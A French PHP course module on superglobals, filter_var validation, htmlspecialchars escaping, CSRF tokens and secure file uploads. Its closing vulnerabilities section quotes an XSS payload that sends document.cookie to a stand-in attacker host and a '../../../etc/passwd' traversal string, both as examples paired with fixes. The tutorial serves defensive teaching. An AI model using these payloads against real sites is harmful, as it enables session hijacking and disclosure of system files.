MODULE 04

Formulaires & Superglobales

$_GET, $_POST, validation, sécurisation XSS/CSRF, upload de fichiers.

1 Superglobales

Les superglobales PHP sont accessibles partout, dans toutes les fonctions, sans déclarer global.

<?php
// $_GET — paramètres de l'URL (?nom=Alice&age=30)
$nom = $_GET['nom'] ?? '';   // ?? évite les warnings si clé absente

// $_POST — données envoyées via formulaire method="POST"
$email = $_POST['email'] ?? '';

// $_SERVER — informations du serveur et de la requête
echo $_SERVER['REQUEST_METHOD'];  // GET ou POST
echo $_SERVER['REQUEST_URI'];     // /contact.php?page=1
echo $_SERVER['REMOTE_ADDR'];     // IP du client
echo $_SERVER['HTTP_USER_AGENT']; // navigateur du client

// $_ENV — variables d'environnement du système
$dbPass = $_ENV['DB_PASSWORD'] ?? 'dev_password';

// $_REQUEST — fusion de $_GET + $_POST + $_COOKIE (éviter en prod)
// Préférer accéder explicitement à $_GET ou $_POST

2 Validation avec filter_var()

<?php
// Valider un email
$email = $_POST['email'] ?? '';
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    die("Email invalide");
}

// Valider un entier (et le récupérer directement)
$age = filter_var($_POST['age'] ?? '', FILTER_VALIDATE_INT);
if ($age === false || $age < 0 || $age > 150) {
    die("Âge invalide");
}

// Valider une URL
$url = $_POST['url'] ?? '';
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    die("URL invalide");
}

// Sanitiser — enlever les caractères dangereux
$nom = filter_var($_POST['nom'] ?? '', FILTER_SANITIZE_SPECIAL_CHARS);

// Vérifications manuelles complémentaires
$tel = preg_replace('/[^0-9+]/', '', $_POST['tel'] ?? '');
if (!preg_match('/^(\+33|0)[1-9][0-9]{8}$/', $tel)) {
    die("Numéro de téléphone invalide");
}

// isset() vs empty()
// isset($var) → true si la variable existe et n'est pas null
// empty($var) → true si : null, "", 0, "0", [], false

3 Sécurisation des sorties

⚠️ RÈGLE D'OR : toujours échapper les données avant de les insérer dans le HTML.
<?php
$userInput = '<script>alert("XSS")</script>';

// htmlspecialchars() — TOUJOURS utiliser pour l'affichage
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// → <script>alert("XSS")</script>  (affiché comme texte)

// htmlspecialchars_decode() — inverse (à utiliser avec précaution)
// strip_tags() — supprime les balises (moins sûr que htmlspecialchars)
$sansTags = strip_tags($userInput); // alert("XSS")

// Nettoyer les espaces
$input = trim($_POST['nom'] ?? '');

// Pour les entiers
$page = intval($_GET['page'] ?? 1);  // toujours un int, jamais une injection

// Validation de type avant utilisation
function sanitizeString(string $val, int $maxLen = 255): string {
    return substr(trim(htmlspecialchars($val, ENT_QUOTES, 'UTF-8')), 0, $maxLen);
}

4 Protection CSRF

<?php
// ── Génération du token ────────────────────────────────
session_start();
if (empty($_SESSION['csrf_token'])) {
    // random_bytes() génère des octets cryptographiquement aléatoires
    // bin2hex() les encode en hexadécimal (64 caractères)
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrfToken = $_SESSION['csrf_token'];

// ── Dans le formulaire HTML ────────────────────────────
// <form method="POST" action="traitement.php">
//   <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrfToken) ?>">
//   ... autres champs ...
// </form>

// ── Vérification à la réception ───────────────────────
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tokenRecu = $_POST['csrf_token'] ?? '';
    // hash_equals() compare de façon constant-time (évite les timing attacks)
    if (!hash_equals($_SESSION['csrf_token'], $tokenRecu)) {
        http_response_code(403);
        die("Token CSRF invalide — requête rejetée");
    }
    // Régénérer le token après chaque utilisation
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    // Traiter le formulaire...
}

5 Upload de fichiers

<?php
// Formulaire HTML requis : enctype="multipart/form-data"
// <input type="file" name="photo" accept="image/*">

if (!empty($_FILES['photo']['name'])) {
    $fichier = $_FILES['photo'];

    // Constantes d'erreur PHP
    if ($fichier['error'] !== UPLOAD_ERR_OK) {
        die("Erreur upload : " . $fichier['error']);
    }

    // Taille maximale (ex: 2 Mo)
    if ($fichier['size'] > 2 * 1024 * 1024) {
        die("Fichier trop volumineux (max 2Mo)");
    }

    // VÉRIFICATION DU VRAI TYPE MIME (pas le type déclaré par le client)
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimeReel = finfo_file($finfo, $fichier['tmp_name']);
    finfo_close($finfo);

    $mimeAutorises = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
    if (!in_array($mimeReel, $mimeAutorises)) {
        die("Type de fichier non autorisé : $mimeReel");
    }

    // Extension sécurisée
    $ext = pathinfo($fichier['name'], PATHINFO_EXTENSION);
    $nomSecurise = bin2hex(random_bytes(8)) . '.' . strtolower($ext);
    $destination = __DIR__ . '/uploads/' . $nomSecurise;

    // move_uploaded_file() vérifie que le fichier vient d'un upload PHP
    if (move_uploaded_file($fichier['tmp_name'], $destination)) {
        echo "Fichier uploadé : " . htmlspecialchars($nomSecurise);
    }
}
⚠️ Ne jamais utiliser le nom original du fichier ($_FILES['f']['name']) comme nom de destination — il peut contenir des caractères dangereux ou des séquences de traversal de répertoire (../../../etc/passwd).

6 ⚠️ Vulnérabilités courantes

<?php
// ❌ XSS — injection dans le HTML
// $nom = $_GET['nom']; echo "<p>Bonjour $nom</p>";
// URL malveillante : ?nom=<script>document.location='http://attaquant.com?c='+document.cookie</script>

// ✅ Prévention XSS : toujours htmlspecialchars() avant echo
// echo "<p>Bonjour " . htmlspecialchars($nom, ENT_QUOTES, 'UTF-8') . "</p>";

// ❌ Injection dans les redirections
// header("Location: " . $_GET['url']); // dangereux si pas filtré
// ✅ Validation stricte de l'URL de redirection
// $urlsAutorisees = ['/', '/profil', '/accueil'];
// $redirect = in_array($_GET['url'], $urlsAutorisees) ? $_GET['url'] : '/';

// ❌ Inclusion de fichier non validée (LFI - Local File Inclusion)
// include($_GET['page'] . '.php'); // ?page=../../../etc/passwd
// ✅ Whitelist des pages autorisées
// $pages = ['accueil', 'contact', 'apropos'];
// if (!in_array($_GET['page'], $pages)) die('Page inconnue');
// include($_GET['page'] . '.php');